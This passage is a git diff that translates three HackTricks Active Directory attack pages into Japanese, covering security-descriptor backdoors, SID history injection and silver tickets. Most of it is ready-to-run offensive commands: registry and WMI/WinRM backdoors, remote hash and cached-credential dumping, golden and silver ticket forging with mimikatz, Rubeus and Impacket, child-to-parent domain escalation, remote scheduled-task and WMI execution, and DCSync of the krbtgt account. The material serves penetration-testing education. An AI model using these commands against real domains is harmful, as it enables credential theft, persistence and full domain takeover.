HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/windows-hardening/active-directory-methodology/security-descriptors.md b/windows-hardening/active-directory-methodology/security-descriptors.md index 8747dc9bc..6129409e1 100644 --- a/windows-hardening/active-directory-methodology/security-descriptors.md +++ b/windows-hardening/active-directory-methodology/security-descriptors.md @@ -1,51 +1,46 @@ -# Security Descriptors +# セキュリティディスクリプタ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Security Descriptors +## セキュリティディスクリプタ -Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL:: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;` +セキュリティディスクリプタ定義言語(SDDL)は、セキュリティディスクリプタを記述するために使用される形式を定義します。SDDLは、DACLとSACLにACE文字列を使用します:`ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;` -The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group. +**セキュリティディスクリプタ**は、**オブジェクト**が**オブジェクト**に対して持つ**許可**を**格納**するために使用されます。オブジェクトのセキュリティディスクリプタにわずかな変更を加えることができれば、特権のあるグループのメンバーである必要なく、そのオブジェクトに対して非常に興味深い特権を得ることができます。 -Then, this persistence technique is based on the hability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin. +したがって、この永続化技術は、特定のオブジェクトに対して必要なすべての特権を獲得し、通常は管理者特権が必要なタスクを管理者でなくても実行できる能力に基づいています。 -### Access to WMI - -You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1): +### WMIへのアクセス +ユーザーに**リモートでWMIを実行する権限**を与えることができます。[**こちらを使用してください**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1): ```bash Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove ``` +### WinRMへのアクセス -### Access to WinRM - -Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:** - +[**こちら**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)を使用して、ユーザーに**winrm PSコンソールへのアクセスを許可**します。 ```bash Set-RemotePSRemoting -UserName student1 -ComputerName -Verbose Set-RemotePSRemoting -UserName student1 -ComputerName -Remove #Remove ``` +### ハッシュへのリモートアクセス -### Remote access to hashes - -Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**: - +**レジストリ**にアクセスし、**ハッシュをダンプ**して、[**DAMP**](https://github.com/HarmJ0y/DAMP)**を使用して**レジストリのバックドアを作成**します。これにより、いつでも**コンピュータのハッシュ**、**SAM**、およびコンピュータにキャッシュされた**ADの資格情報**を取得できます。したがって、**ドメインコントローラコンピュータに対して通常のユーザにこの権限を与える**のは非常に便利です。 ```bash # allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials. Add-RemoteRegBackdoor -ComputerName -Trustee student1 -Verbose @@ -59,21 +54,20 @@ Get-RemoteLocalAccountHash -ComputerName -Verbose # Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine. Get-RemoteCachedCredential -ComputerName -Verbose ``` - -Check [**Silver Tickets**](silver-ticket.md) to learn how you could use the hash of the computer account of a Domain Controller. +[**Silver Tickets**](silver-ticket.md)をチェックして、ドメインコントローラーのコンピューターアカウントのハッシュを使用する方法を学びましょう。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/sid-history-injection.md b/windows-hardening/active-directory-methodology/sid-history-injection.md index 6a344f201..62eaac3bf 100644 --- a/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -4,31 +4,29 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Attack +## 攻撃 -SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the **user's previous SID would be added to the SID History** of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will **grant access to all resources in the parent**. +SID履歴は、ユーザーが1つのドメインから別のドメインに移動する場合をサポートするために設計されました。 "古い"ドメインのリソースへのアクセスを維持するために、**ユーザーの以前のSIDが新しいアカウントのSID履歴に追加**されます。したがって、このようなチケットを作成すると、親ドメインの特権グループ(EAs、DAsなど)のSIDが追加され、親のすべてのリソースへのアクセスが許可されます。 -This can be achieved using either a [**Golden**](sid-history-injection.md#golden-ticket) or [**Diamond Ticket**](sid-history-injection.md#diamond-ticket). +これは、[**Golden**](sid-history-injection.md#golden-ticket)または[**Diamond Ticket**](sid-history-injection.md#diamond-ticket)を使用して達成できます。 -For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in `S-1-5-21--519`. For example, from root domain SID `S-1-5-21-280534878-1496970234-700767426` the **"Enterprise Admins"** group SID is `S-1-5-21-280534878-1496970234-700767426-519` +「Enterprise Admins」グループの**SID**を見つけるには、**ルートドメイン**の**SID**を見つけて、`S-1-5-21--519`に設定します。たとえば、ルートドメインSID `S-1-5-21-280534878-1496970234-700767426`の**「Enterprise Admins」**グループSIDは`S-1-5-21-280534878-1496970234-700767426-519`です。 -You could also use the **Domain Admins** groups, which ends in **512**. - -Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with: +また、「Domain Admins」グループを使用することもできますが、末尾は**512**です。 +他のドメインのグループ(たとえば「Domain Admins」)のSIDを見つける別の方法は、次のとおりです: ```powershell Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` - -### Golden Ticket (Mimikatz) with KRBTGT-AES256 +### KRBTGT-AES256を使用したゴールデンチケット(Mimikatz) {% code overflow="wrap" %} ```bash @@ -49,13 +47,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid ``` {% endcode %} -For more info about golden tickets check: +詳細については、ゴールデンチケットに関する情報を参照してください: {% content-ref url="golden-ticket.md" %} [golden-ticket.md](golden-ticket.md) {% endcontent-ref %} -### Diamond Ticket (Rubeus + KRBTGT-AES256) +### ダイヤモンドチケット(Rubeus + KRBTGT-AES256) {% code overflow="wrap" %} ```powershell @@ -69,7 +67,7 @@ Rubeus.exe golden /rc4: /domain: /sid: -domain -domain-sid /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 ``` {% endcode %} -#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) +#### [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)を使用した自動化 -This is an Impacket script which will **automate escalating from child to parent domain**. The script needs: +これは、Impacketスクリプトであり、**子ドメインから親ドメインへの昇格を自動化**します。スクリプトには以下が必要です: -* Target domain controller -* Creds for an admin user in the child domain +* ターゲットのドメインコントローラー +* 子ドメインの管理者ユーザーの資格情報 -The flow is: - -* Obtains the SID for the Enterprise Admins group of the parent domain -* Retrieves the hash for the KRBTGT account in the child domain -* Creates a Golden Ticket -* Logs into the parent domain -* Retrieves credentials for the Administrator account in the parent domain -* If the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec. +フローは次のとおりです: +* 親ドメインのEnterprise AdminsグループのSIDを取得します +* 子ドメインのKRBTGTアカウントのハッシュを取得します +* ゴールデンチケットを作成します +* 親ドメインにログインします +* 親ドメインのAdministratorアカウントの資格情報を取得します +* `target-exec`スイッチが指定されている場合、Psexecを介して親ドメインのドメインコントローラーに認証します。 ```bash raiseChild.py -target-exec 10.10.10.10 /username ``` - -## References +## 参考文献 * [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto) @@ -159,10 +151,10 @@ raiseChild.py -target-exec 10.10.10.10 /username ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/active-directory-methodology/silver-ticket.md b/windows-hardening/active-directory-methodology/silver-ticket.md index e93f7f00f..2db5052dc 100644 --- a/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/windows-hardening/active-directory-methodology/silver-ticket.md @@ -1,40 +1,40 @@ -# Silver Ticket +# シルバーチケット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## Silver ticket +## シルバーチケット -The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** (like the **PC account hash**). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user**. +シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、**そのサービスにアクセス**することができます。 -In this case, the NTLM **hash of a computer account** (which is kind of a user account in AD) is **owned**. Hence, it is possible to **craft** a **ticket** in order to **get into that machine** with **administrator** privileges through the SMB service. The computer accounts reset their passwords every 30 days by default. +この場合、Active Directory(AD)の中でユーザーアカウントの一種である**コンピューターアカウントのNTLMハッシュ**が**所有**されています。したがって、SMBサービスを介して**管理者権限を持つ**マシンに**入るためのチケット**を作成することができます。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。 -It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**. To know how to generate an AES key read: [section 4.4 of MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) or the [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372). +また、AES Kerberosキー(AES128およびAES256)を使用してチケットを偽造することが可能であり、**推奨されます(opsec)**。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。 {% code title="Linux" %} ```bash python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus -export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache +export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass ``` {% endcode %} -In Windows, **Mimikatz** can be used to **craft** the **ticket**. Next, the ticket is **injected** with **Rubeus**, and finally a remote shell can be obtained thanks to **PsExec**. +Windowsでは、**Mimikatz**を使用して**チケット**を**作成**することができます。次に、チケットは**Rubeus**で**注入**され、最後に**PsExec**のおかげでリモートシェルを取得することができます。 {% code title="Windows" %} ```bash @@ -51,59 +51,56 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291 ``` {% endcode %} -The **CIFS** service is the one that allows you to **access the file system of the victim**. You can find other services here: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** For example, you can use the **HOST service** to create a _**schtask**_ in a computer. Then you can check if this has worked trying to list the tasks of the victim: `schtasks /S ` or you can use the **HOST and** **RPCSS service** to execute **WMI** queries in a computer, test it doing: `Get-WmiObject -Class win32_operatingsystem -ComputerName ` +**CIFS**サービスは、被害者のファイルシステムにアクセスすることができるものです。他のサービスはこちらで見つけることができます:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** 例えば、**HOSTサービス**を使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして作業が成功したかどうかを確認することができます:`schtasks /S `または**HOSTおよびRPCSSサービス**を使用してコンピューターで**WMI**クエリを実行することもできます。テストするには:`Get-WmiObject -Class win32_operatingsystem -ComputerName ` -### Mitigation +### 緩和策 -Silver ticket events ID (more stealth than golden ticket): +SilverチケットイベントID(ゴールデンチケットよりもステルス性が高い): -* 4624: Account Logon -* 4634: Account Logoff -* 4672: Admin Logon +* 4624:アカウントログオン +* 4634:アカウントログオフ +* 4672:管理者ログオン -[**More information about Silver Tickets in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) +[**Silver Ticketsに関する詳細情報は、ired.teamを参照してください**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) -## Available Services +## 利用可能なサービス -| Service Type | Service Silver Tickets | +| サービスの種類 | サービスのSilverチケット | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| -| Scheduled Tasks | HOST | -| Windows File Share, also psexec | CIFS | -| LDAP operations, included DCSync | LDAP | -| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| -| Golden Tickets | krbtgt | +| PowerShellリモート操作 |

HOST

HTTP

OSによっては、次のものもあります:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

場合によっては、WINRMを要求するだけで済むこともあります

| +| スケジュールされたタスク | HOST | +| Windowsファイル共有、またはpsexec | CIFS | +| LDAP操作、DCSyncを含む | LDAP | +| Windowsリモートサーバー管理ツール |

RPCSS

LDAP

CIFS

| +| ゴールデンチケット | krbtgt | -Using **Rubeus** you may **ask for all** these tickets using the parameter: +**Rubeus**を使用すると、次のパラメータを使用してこれらのチケットをすべて要求することができます: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -## Abusing Service tickets +## サービスチケットの乱用 -In the following examples lets imagine that the ticket is retrieved impersonating the administrator account. +以下の例では、チケットが管理者アカウントをなりすまして取得されたと想定しています。 ### CIFS -With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like: - +このチケットを使用すると、**SMB**経由で`C$`および`ADMIN$`フォルダにアクセスし(公開されている場合)、リモートファイルシステムの一部にファイルをコピーすることができます。以下のようにします: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` - -You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**: +また、**psexec**を使用してホスト内でシェルを取得したり、任意のコマンドを実行したりすることもできます: {% content-ref url="../ntlm/psexec-and-winexec.md" %} [psexec-and-winexec.md](../ntlm/psexec-and-winexec.md) {% endcontent-ref %} -### HOST - -With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands: +### ホスト +この権限を持つと、リモートコンピュータでスケジュールされたタスクを生成し、任意のコマンドを実行することができます: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -115,11 +112,9 @@ schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` - ### HOST + RPCSS -With these tickets you can **execute WMI in the victim system**: - +これらのチケットを使用すると、**被害者システムでWMIを実行**できます。 ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -129,8 +124,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` - -Find **more information about wmiexec** in the following page: +以下のページで**wmiexecに関する詳細情報**を見つけることができます: {% content-ref url="../ntlm/wmicexec.md" %} [wmicexec.md](../ntlm/wmicexec.md) @@ -138,31 +132,27 @@ Find **more information about wmiexec** in the following page: ### HOST + WSMAN (WINRM) -With winrm access over a computer you can **access it** and even get a PowerShell: - +コンピューター上でのwinrmアクセスを使用すると、**それにアクセス**し、PowerShellを取得することができます。 ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` - -Check the following page to learn **more ways to connect with a remote host using winrm**: +以下のページをチェックして、**winrmを使用してリモートホストに接続する他の方法**を学びましょう: {% content-ref url="../ntlm/winrm.md" %} [winrm.md](../ntlm/winrm.md) {% endcontent-ref %} {% hint style="warning" %} -Note that **winrm must be active and listening** on the remote computer to access it. +リモートコンピュータにアクセスするためには、**winrmがアクティブでリッスンしている**必要があります。 {% endhint %} ### LDAP -With this privilege you can dump the DC database using **DCSync**: - +この特権を使用すると、**DCSync**を使用してDCデータベースをダンプできます。 ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` - -**Learn more about DCSync** in the following page: +以下のページで**DCSync**について詳しく学びましょう: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) @@ -170,7 +160,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -178,10 +168,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION 